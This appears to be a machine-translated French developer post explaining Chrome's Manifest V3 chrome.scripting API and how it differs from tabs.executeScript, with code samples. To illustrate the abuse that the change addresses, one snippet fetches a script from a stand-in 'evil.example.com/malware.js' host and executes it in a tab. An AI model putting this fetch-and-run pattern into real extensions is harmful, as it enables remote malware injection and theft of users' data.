Manifest V3 apporte un certain nombre de modifications à la plate-forme d'extensions de Chrome. Dans ce post,
nous allons explorer les motivations et les changements introduits par l'un des changements les plus notables :
Introduction de l'API chrome.scripting
.
Qu'est-ce que chrome.scripting ?
Comme son nom l'indique, chrome.scripting
est un nouvel espace de noms introduit dans Manifest V3
des capacités d'injection de scripts et de styles.
Les développeurs qui ont déjà créé des extensions Chrome par le passé connaissent peut-être les méthodes Manifest V2
sur l'API Tabs comme chrome.tabs.executeScript
et
chrome.tabs.insertCSS
. Ces méthodes permettent aux extensions d'injecter des scripts et
les feuilles de style en pages, respectivement. Dans Manifest V3, ces fonctionnalités ont été déplacées vers
chrome.scripting
, et nous prévoyons de l'étendre à de nouvelles fonctionnalités à l'avenir.
Pourquoi créer une API ?
Avec un tel changement, l'une des premières questions qui revient souvent est : « pourquoi ? »
Plusieurs facteurs ont conduit l'équipe Chrome à décider d'introduire un nouvel espace de noms pour les scripts.
Tout d'abord, l'API Tabs est une sorte de tiroir indésirable pour les fonctionnalités. Deuxièmement, nous devions
faire de la rupture
Modifications apportées à l'API executeScript
existante. Troisièmement, nous savions
que nous souhaitions développer l'utilisation
pour les extensions. Ensemble, ces préoccupations ont clairement défini la nécessité d'un nouvel espace de noms
de scripts internes.
Le tiroir à déchets
Ces dernières années, l'équipe chargée des extensions a rencontré un problème,
L'API chrome.tabs
est surchargée. Lorsque cette API a été lancée, la plupart des fonctionnalités qu'elle
étaient liées au concept large d'onglet de navigateur. Même à ce moment-là, il s'agissait
mais cette collection n'a fait que croître au fil des années.
Au moment du lancement de Manifest V3, l'API Tabs s'était développée pour couvrir la gestion de base des onglets, gestion de la sélection, organisation des fenêtres, messagerie, contrôle du zoom, navigation de base, écriture de scripts et quelques autres fonctionnalités plus petites. Bien que ces éléments soient tous importants, cela peut être un peu écrasant pour pour les développeurs, ainsi que pour l'équipe Chrome qui gère la plate-forme et prendre en compte les demandes de la communauté des développeurs.
Autre facteur de complication : l'autorisation tabs
n'est pas bien comprise. Bien que de nombreux autres
autorisations limitent l'accès à une API donnée (par exemple, storage
), cette autorisation est un peu
inhabituelle dans la mesure où elle n'accorde à l'extension l'accès qu'aux propriétés sensibles sur les instances Tab (et par
affecte également l'API Windows). Bien entendu, de nombreux développeurs d'extensions pensent à tort
il a besoin de cette autorisation pour accéder aux méthodes de l'API Tabs comme chrome.tabs.create
ou
de façon plus naturelle, chrome.tabs.executeScript
. Retirer une fonctionnalité de l'API Tabs permet de clarifier
une partie de cette confusion.
Modifications importantes
Lors de la conception de Manifest V3, l'un des principaux problèmes que nous voulions résoudre était les abus et les logiciels malveillants. activé par "code hébergé à distance" : code exécuté, mais non inclus dans l'extension d'un package. Il est courant que les auteurs d'extensions abusifs exécutent des scripts récupérés sur des serveurs distants vers voler les données utilisateur, injecter des logiciels malveillants et échapper aux systèmes de détection. Même si les acteurs de qualité utilisent aussi cette capacité, en fin de compte, a estimé qu'il était tout tout simplement trop dangereux de rester tel quel.
Deux méthodes permettent aux extensions d'exécuter du code dégroupé, mais la plus pertinente
Voici la méthode chrome.tabs.executeScript
de Manifest V2. Cette méthode permet à une extension
exécuter une chaîne de code arbitraire
dans un onglet cible. Cela signifie qu'un développeur malveillant
peut récupérer un script arbitraire à partir d'un serveur distant et l'exécuter sur n'importe quelle page dans laquelle l'extension peut
y accéder. Nous savions que si nous voulions résoudre
le problème de code distant, nous devions supprimer ce
.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
Nous souhaitions également corriger d'autres problèmes plus subtils liés à la conception de la version Manifest V2. faire de l'API un outil plus soigné et prévisible.
Bien que nous ayons pu modifier la signature de cette méthode dans l'API Tabs, nous avons estimé qu'entre ces modifications destructives et l'introduction de nouvelles fonctionnalités (décrites dans la section suivante), une une pause vide serait plus facile pour tout le monde.
Fonctionnalités de script étendues
Un autre élément pris en compte dans le processus
de conception de Manifest V3 était le désir d'introduire
des fonctionnalités de script supplémentaires à la plate-forme d'extensions de Chrome. Plus précisément, nous voulions ajouter
la compatibilité avec les scripts de contenu dynamique et l'extension des fonctionnalités de la méthode executeScript
.
La compatibilité des scripts de contenu dynamique est une demande de fonctionnalité depuis longtemps dans Chromium. Aujourd'hui,
Les extensions Chrome Manifest V2 et V3 ne peuvent déclarer des scripts de contenu de manière statique que dans leurs
manifest.json
fichier ; la plate-forme ne permet pas d'enregistrer de nouveaux scripts de contenu, d'ajuster
ou annuler l'enregistrement de scripts de contenu lors de l'exécution.
Bien que nous sachions que nous voulions répondre à cette demande de fonctionnalité dans Manifest V3, aucune de nos
Les API vous semblaient être la bonne adresse. Nous avons également envisagé de nous aligner sur Firefox pour leurs scripts de contenu.
API, mais nous avons très tôt identifié quelques inconvénients majeurs de cette approche.
Tout d'abord, nous savions que nous aurions des signatures incompatibles (par exemple, suppression de la prise en charge de code
).
. Deuxièmement, notre API avait un ensemble différent de contraintes de conception (par exemple, la nécessité d'un enregistrement pour
persistent au-delà de la durée de vie d'un service worker). Enfin, cet espace de noms nous permettrait également
une fonctionnalité de script de contenu, qui concerne de façon plus générale l'écriture de script dans les extensions.
Concernant executeScript
, nous voulions également étendre ce que cette API pouvait faire au-delà des onglets.
Version de l'API compatible. Plus précisément, nous voulions prendre en charge plus facilement les fonctions et les arguments
cibler des frames spécifiques et cibler différents contextes.
À l'avenir, nous réfléchissons également à la manière dont les extensions peuvent interagir avec les PWA installées et les autres qui ne correspondent pas conceptuellement à des « onglets ».
Changements entre tab.executeScript et scripting.executeScript
Dans la suite de cet article, j'aimerais examiner
de plus près les similitudes et les différences
entre chrome.tabs.executeScript
et
chrome.scripting.executeScript
Injecter une fonction avec des arguments
Tout en réfléchissant à la façon dont la plate-forme devrait évoluer à la lumière du code hébergé à distance des restrictions, nous voulions trouver un équilibre entre la puissance brute de l'exécution de code arbitraire et autorisant les scripts de contenu statique. La solution que nous avons choisie consistait à autoriser les extensions à injecter comme un script de contenu et de transmettre un tableau de valeurs en tant qu'arguments.
Examinons rapidement un exemple (trop simpliste). Supposons que nous voulions injecter un script accueilli l'utilisateur par son nom lorsqu'il clique sur le bouton d'action de l'extension (icône dans la barre d'outils) Dans Manifest V2, nous pourrions construire une chaîne de code de manière dynamique et exécuter ce script dans la version actuelle .
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
Bien que les extensions Manifest V3 ne puissent pas utiliser de code qui n'est pas fourni avec l'extension, notre objectif était préserver une partie du dynamisme que les blocs de code arbitraires permettent d'activer pour les extensions Manifest V2. La des fonctions et des arguments permet aux examinateurs, aux utilisateurs et aux autres aux parties intéressées d'évaluer plus précisément les risques liés à une extension tout en permettant les développeurs de modifier le comportement d'exécution d'une extension en fonction des paramètres utilisateur ou de l'état de l'application.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
Frames de ciblage
Nous souhaitions également améliorer la façon dont les développeurs interagissent avec les cadres dans la nouvelle API. The Manifest V2
la version de executeScript
permettait aux développeurs de cibler tous les frames d'un onglet ou une
cadre dans l'onglet. Vous pouvez utiliser chrome.webNavigation.getAllFrames
pour obtenir la liste de tous les cadres de
un onglet.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
Dans Manifest V3, nous avons remplacé la propriété facultative du nombre entier frameId
dans l'objet "options" par une
tableau frameIds
facultatif d'entiers ; cela permet aux développeurs de cibler plusieurs images dans un seul
d'un appel d'API.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
Résultats de l'injection de script
Nous avons également amélioré la façon dont nous renvoyons les résultats d'injection de script dans Manifest V3. Un "résultat" correspond à
essentiellement l'énoncé final
évalué dans un script. Considérez-la comme la valeur renvoyée lorsque vous
appelez eval()
ou exécutez un bloc de code dans la console des outils pour les développeurs Chrome, mais sérialisé afin de
et transmettre les résultats
à tous les processus.
Dans Manifest V2, executeScript
et insertCSS
renvoyaient un tableau de résultats d'exécution bruts.
Cela ne pose aucun problème si vous n'avez qu'un seul point d'injection, mais l'ordre des résultats n'est pas garanti
injecter dans plusieurs trames. Il n'y a donc aucun moyen de savoir à quel résultat
cadre.
Pour un exemple concret, examinons les tableaux results
renvoyés par un Manifest V2 et un
Version Manifest V3 de la même extension. Les deux versions de l'extension injectent la même
script de contenu pour comparer les résultats sur une même page de démonstration.
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
Lorsque nous exécutons la version de Manifest V2, nous obtenons un tableau de [1, 0, 5]
. Résultat correspondant
au cadre principal et laquelle est
pour l'iFrame ? La valeur renvoyée ne nous le
dit pas, donc nous ne savons pas
c'est certain.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
Dans la version Manifest V3, results
contient désormais un tableau d'objets de résultat au lieu d'un tableau de
que les résultats de l'évaluation. Les objets de résultat identifient clairement l'identifiant de la trame pour chaque
résultat. Les développeurs peuvent ainsi utiliser beaucoup plus facilement le résultat et prendre des mesures
cadre.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
Conclusion
Les pics de version du fichier manifeste constituent une occasion rare de repenser et de moderniser les API d'extensions. Notre objectif
avec Manifest V3 est d'améliorer l'expérience de l'utilisateur final en renforçant la sécurité des extensions tout en
ce qui améliore l'expérience des développeurs. En introduisant chrome.scripting
dans Manifest V3, nous avons pu
pour nettoyer l'API Tabs et repenser executeScript
pour une plate-forme d'extensions plus sécurisée.
et jeter les bases de nouvelles fonctionnalités
de script qui seront lancées dans le courant de l'année.